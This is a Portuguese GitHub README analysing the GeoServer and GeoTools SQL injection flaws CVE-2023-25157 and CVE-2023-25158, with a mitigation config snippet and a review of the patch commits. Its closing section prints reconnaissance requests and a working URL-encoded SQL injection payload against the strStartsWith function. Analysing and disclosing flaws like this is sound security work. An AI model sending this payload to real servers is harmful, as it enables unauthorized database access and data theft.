murataydemir/cve-2023-25157-and-cve-2023-25158GeoServer & GeoTools Injeção de SQL (CVE-2023-25157 & CVE-2023-25158)
Este repositório contém uma descrição detalhada e as etapas de replicação das vulnerabilidades de injeção SQL encontradas na plataforma GeoServer e na biblioteca GeoTools. A vulnerabilidade foi identificada como CVE-2023-25157 para o GeoServer e CVE-2023-25158 para o GeoTools.
GeoServer é um servidor de software de código aberto escrito em Java que permite visualizar, editar e compartilhar dados geoespaciais. Ele foi projetado para ser uma solução flexível e eficiente para distribuir dados geoespaciais de diversas fontes, como bancos de dados de Sistemas de Informação Geográfica (GIS), dados baseados na web e conjuntos de dados pessoais.
O GeoServer adere aos padrões do Open Geospatial Consortium (OGC) para compartilhamento de dados, incluindo o Web Feature Service (WFS), Web Map Service (WMS) e o Web Coverage Service (WCS). Essa adesão aos padrões significa que os dados do GeoServer podem ser usados em uma ampla variedade de aplicações, desde software GIS desenvolvido sob medida até soluções prontas para uso.
O GeoServer é construído principalmente sobre o Spring Framework, mas também usa várias outras bibliotecas e frameworks, incluindo:
GeoTools: Uma biblioteca Java de código aberto que fornece ferramentas para dados geoespaciais. O GeoServer usa o GeoTools em muitas de suas funcionalidades principais, como leitura, escrita e transformação de dados.As vulnerabilidades em questão estão profundamente incorporadas às expressões de filtro e função definidas pelos padrões do Open Geospatial Consortium (OGC). Essas expressões formam a espinha dorsal da consulta e manipulação de dados geoespaciais, desempenhando um papel fundamental na funcionalidade de sistemas como GeoServer e GeoTools.
Quando essas vulnerabilidades são exploradas, podem levar a graves violações de segurança. A divulgação não autorizada de informações é uma preocupação principal, pois os atacantes podem acessar dados confidenciais armazenados no banco de dados. A modificação não autorizada é outro resultado potencial, com os atacantes podendo manipular os dados em seu benefício. Além disso, essas vulnerabilidades também podem facilitar a interrupção do serviço, com uma exploração bem-sucedida podendo levar à indisponibilidade do serviço.
A seguir, uma análise aprofundada de cada vulnerabilidade identificada. Cada vulnerabilidade é explorada em detalhes, discutindo suas características específicas, as condições que levam à sua manifestação e os possíveis efeitos de sua exploração. Aqui está um detalhamento das vulnerabilidades encontradas para o GeoServer:
PropertyIsLike filter: esta vulnerabilidade está presente quando o filtro PropertyIsLike é usado com um campo String em conjunto com qualquer Store baseada em banco de dados relacional, um PostGIS DataStore com funções de codificação habilitadas, ou qualquer mosaico de imagem com um índice armazenado em um banco de dados relacional.strEndsWith function: esta vulnerabilidade surge quando a função strEndsWith é usada com um PostGIS DataStore com funções de codificação habilitadas.strStartsWith function: esta vulnerabilidade é encontrada quando a função strStartsWith é usada com um PostGIS DataStore com funções de codificação habilitadas.FeatureId filter: esta vulnerabilidade está presente quando o filtro FeatureId é usado com qualquer tabela de banco de dados que tenha uma coluna de chave primária String e quando as prepared statements estão desabilitadas.jsonArrayContains function: esta vulnerabilidade é encontrada quando a função jsonArrayContains é usada com um campo String ou JSON e com um PostGIS ou Oracle DataStore (somente no GeoServer 2.22.0 e versões posteriores).DWithin filter: esta vulnerabilidade é descoberta quando o filtro DWithin é usado com um Oracle DataStore.E aqui está um detalhamento das vulnerabilidades encontradas para o GeoTools:
PropertyIsLike filter:
strEndsWith function:
strStartsWith function:
FeatureId filter:
jsonArrayContains function:
DWithin filter:
CVE-2023-25157 GeoServer SQL Injection.CVE-2023-25158 GeoTools SQL Injection.A ação recomendada tanto para a vulnerabilidade GeoServer SQL Injection (CVE-2023-25157) quanto para a GeoTools SQL Injection (CVE-2023-25158) é atualizar para as versões mencionadas ou superiores. Se essa atualização já foi realizada, nenhuma etapa adicional é necessária. No entanto, para aqueles que possam ter dificuldade em atualizar rapidamente, a equipe Geo forneceu algumas soluções alternativas abaixo.
Desabilitar a configuração de funções de codificação do PostGIS Datastore para mitigar as vulnerabilidades strEndsWith e strStartsWith (filtros like não têm mitigação, se houver um campo string no tipo de feature publicado).
Habilitar a configuração de preparedStatements do PostGIS DataStore para mitigar a vulnerabilidade FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- Como uma boa prática para limitar a superfície de ataque, é importante dar à conta do banco de dados usada para os pools de conexão o nível mínimo necessário de privilégios (por exemplo, somente leitura, a menos que WFS-T/importer/coleta de grânulos REST sejam usados, com acesso limitado apenas aos schemas e tabelas necessários para o uso em produção)
- Nenhuma mitigação está disponível para o filtro `PropertyIsLike`; você pode optar por desabilitar os DataStores de banco de dados até conseguir atualizar.
- Nenhuma mitigação está disponível para `DWithin` com Oracle DataStore; você pode optar por desabilitar os Oracle DataStores até conseguir atualizar.
### <b>Análise de Patch: Issue do GitHub e Commits Relacionados</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Links fornecidos abaixo para vários problemas relevantes do JIRA relacionados às vulnerabilidades de injeção de SQL encontradas tanto no GeoServer quanto no GeoTools. Esses links oferecem acesso a dados cruciais, discussões e soluções propostas relacionadas a essas vulnerabilidades específicas.
- [GEOS-10842: JDBCConfig: escapar entradas do usuário em consultas SQL](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: adicionar parâmetro de Configuração JDBC para desabilitar comentários SQL e formatação](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Escapar entradas do usuário em consultas SQL](https://osgeo-org.atlassian.net/browse/GEOT-7302)
Ao examinar o commit [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), as seguintes alterações podem ser vistas claramente, respectivamente:
- Em [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java), há adições de um campo de propriedade e mudanças nos construtores para incluir esse campo de propriedade. Isso permite mais customização da configuração do banco de dados, potencialmente permitindo medidas de segurança aprimoradas. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) é uma classe fornecida pelo Spring Framework que adiciona suporte para programar declarações JDBC usando parâmetros nomeados, em vez de programar declarações JDBC usando argumentos clássicos de espaço reservado ('?'). No commit, o construtor de `ConfigDatabase` é atualizado para receber um `DataSource` e criar um `NamedParameterJdbcTemplate` a partir dele. Parâmetros nomeados melhoram a legibilidade e também podem prevenir ataques de injeção de SQL porque deixam claro que o argumento é parametrizado, não parte do comando SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
A vulnerabilidade real de injeção de SQL parece ter sido corrigida por meio de uma construção e execução de SQL mais seguras, especificamente pelo uso de consultas parametrizadas em vez de concatenação de strings, como visto nas alterações nas chamadas template.queryForObject. Em vez de usar sql.toString(), a própria variável sql, que aparenta ser uma instrução SQL construída com segurança.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- O objeto StringBuilder `sql` em [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) é substituído por um objeto String. Essa alteração pode ser significativa para prevenir ataques de injeção de SQL, pois objetos StringBuilder, que são mutáveis, podem levar a modificações acidentais ou maliciosas da consulta SQL. Substituí-lo por uma String, que é imutável, pode ajudar a prevenir tais modificações e, assim, evitar a injeção de SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment foi adicionado à classe Dialect.java. Este método recebe uma string de comentário e escapa caracteres potencialmente perigosos nela. Especificamente, ele parece escapar os caracteres de abertura e fechamento de comentários SQL ('/*' e '*/'), que são usados em alguns ataques de Injeção SQL.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- Adicionando comentários ao SQL: Um novo método `appendComment` foi adicionado à classe [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) para anexar objetos ao SQL como um comentário. Se o modo de depuração não estiver habilitado, esses métodos simplesmente retornam o SQL original. Se o modo de depuração estiver habilitado, eles anexam a representação em string dos objetos fornecidos ao SQL na forma de um comentário. Os comentários são escapados com segurança usando o método `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Anexando Strings ao SQL Condicionalmente: O método appendIfDebug foi adicionado à classe Dialect. Este método anexa uma de duas strings fornecidas ao SQL dependendo se o modo de depuração está habilitado. Na classe Dialect.java, um campo debugMode é adicionado e um método setDebugMode() é fornecido para alterar seu estado. Este modo de depuração é então usado no método detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
Ao observar o commit [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), as seguintes alterações podem ser vistas claramente, respectivamente:
- A adição do campo `escapeBackslash` na classe [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) é uma medida preventiva para evitar certas formas de injeção de SQL em que o caractere de barra invertida é usado para escapar caracteres especiais na sintaxe SQL. Ao fornecer a opção de escapar barras invertidas em literais de string, os desenvolvedores permitem que a aplicação trate os caracteres de barra invertida como texto simples, em vez de caracteres de escape, o que, por sua vez, pode limitar as possibilidades de injeção de SQL.
Essas alterações trabalham em conjunto para prevenir a injeção de SQL, garantindo que caracteres especiais em literais de string (como aspas simples e duplas e barras invertidas) sejam devidamente escapados antes de serem incluídos em uma consulta SQL. Essa é uma forma comum de mitigar vulnerabilidades de injeção de SQL. Quando `escapeBackslash` é definido como true, as barras invertidas em literais de string serão escapadas quando o método [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) da classe [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) for chamado. Esse método é usado em vários lugares na classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) para escapar literais de string antes de serem incluídos em uma consulta SQL. Por exemplo, a [linha 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
é um dos locais onde este método é chamado e onde a configuração escapeBackslash teria efeito. No código original, a aplicação substituía manualmente aspas simples por duas aspas simples, o que é uma maneira comum de escapar aspas simples em SQL. Isso é importante porque aspas simples sem escape podem permitir que um atacante encerre uma string literal prematuramente e acrescente seus próprios comandos SQL, levando a uma vulnerabilidade de injeção de SQL.
No código modificado, em vez de substituir manualmente aspas simples, a aplicação agora chama o método escapeLiteral() da classe EscapeSql.java. Este método foi projetado para escapar não apenas aspas simples, mas também barras invertidas e, potencialmente, aspas duplas, com base em seus parâmetros:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Ao fazer isso, a aplicação consegue garantir que todos os caracteres especiais na string SQL sejam escapados corretamente, o que é uma abordagem mais robusta e segura para prevenir injeção de SQL.
- Alterações no método `convertToSQL92`: O método `LikeFilterImpl.convertToSQL92` converte um padrão da sintaxe padrão 'LIKE' do SQL para a sintaxe SQL-92. Neste commit, eles adicionaram um novo parâmetro a este método. A alteração do método na classe [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) na [linha 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
parece adicionar um flag que provavelmente afeta o processo de conversão de padrões. Anteriormente, a chamada do método não incluía o parâmetro false no final. Esse valor false presumivelmente está relacionado a se determinados caracteres na string literal são escapados durante o processo de conversão. O escape pode ajudar a prevenir injeção de SQL, garantindo que caracteres especiais na string literal não sejam interpretados como parte da sintaxe SQL, mas sim como valores de texto simples.
out.write() por writeLiteral(): A substituição de out.write() por writeLiteral() é outra mudança importante. O método out.write() simplesmente escreve a string fornecida no fluxo de saída como está, sem nenhum processamento adicional ou escape. Isso poderia potencialmente levar a injeção de SQL se a string contiver alguma sintaxe SQL sem escape.```java
writeLiteral(pattern);- Por outro lado, `writeLiteral()` presumivelmente aplica alguma forma de escape ou sanitização à string antes de ela ser escrita no fluxo de saída, reduzindo assim o risco de injeção de SQL. Essa alteração também substitui uma operação de escrita direta por uma chamada a `writeLiteral()`, que provavelmente inclui precauções para evitar injeção de SQL.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Para explorar essas vulnerabilidades adequadamente, primeiro é necessário obter:
respectivamente. Portanto, a seguinte solicitação é enviada ao servidor alvo para obter os nomes de recursos disponíveis.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
Após obter os nomes dos recursos disponíveis, precisamos enviar a seguinte solicitação HTTP para buscar as propriedades disponíveis para os respectivos recursos disponíveis.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Após as duas requisições HTTP mostradas acima, enumeramos todos os nomes de feições disponíveis e os nomes de propriedades associados a esses nomes de feições. Após esta etapa, podemos realizar o processo de exploração enviando a requisição HTTP maliciosa com o payload SQL injetado para o servidor para qualquer propriedade obtida.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
### <b>Conclusão</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Em conclusão, a descoberta dessas vulnerabilidades de Injeção de SQL no GeoServer e no GeoTools, conforme descrito pelas CVE-2023-25157 e CVE-2023-25158, serve como um lembrete contundente das ameaças sempre presentes no cenário digital. Essas vulnerabilidades, que residem nas expressões centrais de filtro e função do OGC, têm o potencial de causar interrupções significativas e acesso ou modificações não autorizadas de dados.
Para obter mais informações sobre a correção dessas vulnerabilidades, visite os seguintes recursos:
- O commit usado para corrigir a vulnerabilidade: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- O commit usado para corrigir a vulnerabilidade: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [Vulnerabilidade de Injeção de SQL no Filtro OGC do GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) e [Vulnerabilidade de Injeção de SQL no Filtro OGC do GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub Advisory Database (Revisado pelo GitHub): Injeção de SQL no GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [Advisory Database do GeoServer: Injeção de SQL no GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) e [Advisory Database do GeoTools: Injeção de SQL no GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [Advisory do NIST para o GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) e [Advisory do NIST para o GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [Advisory do MITRE para o GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) e [Advisory do MITRE para o GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)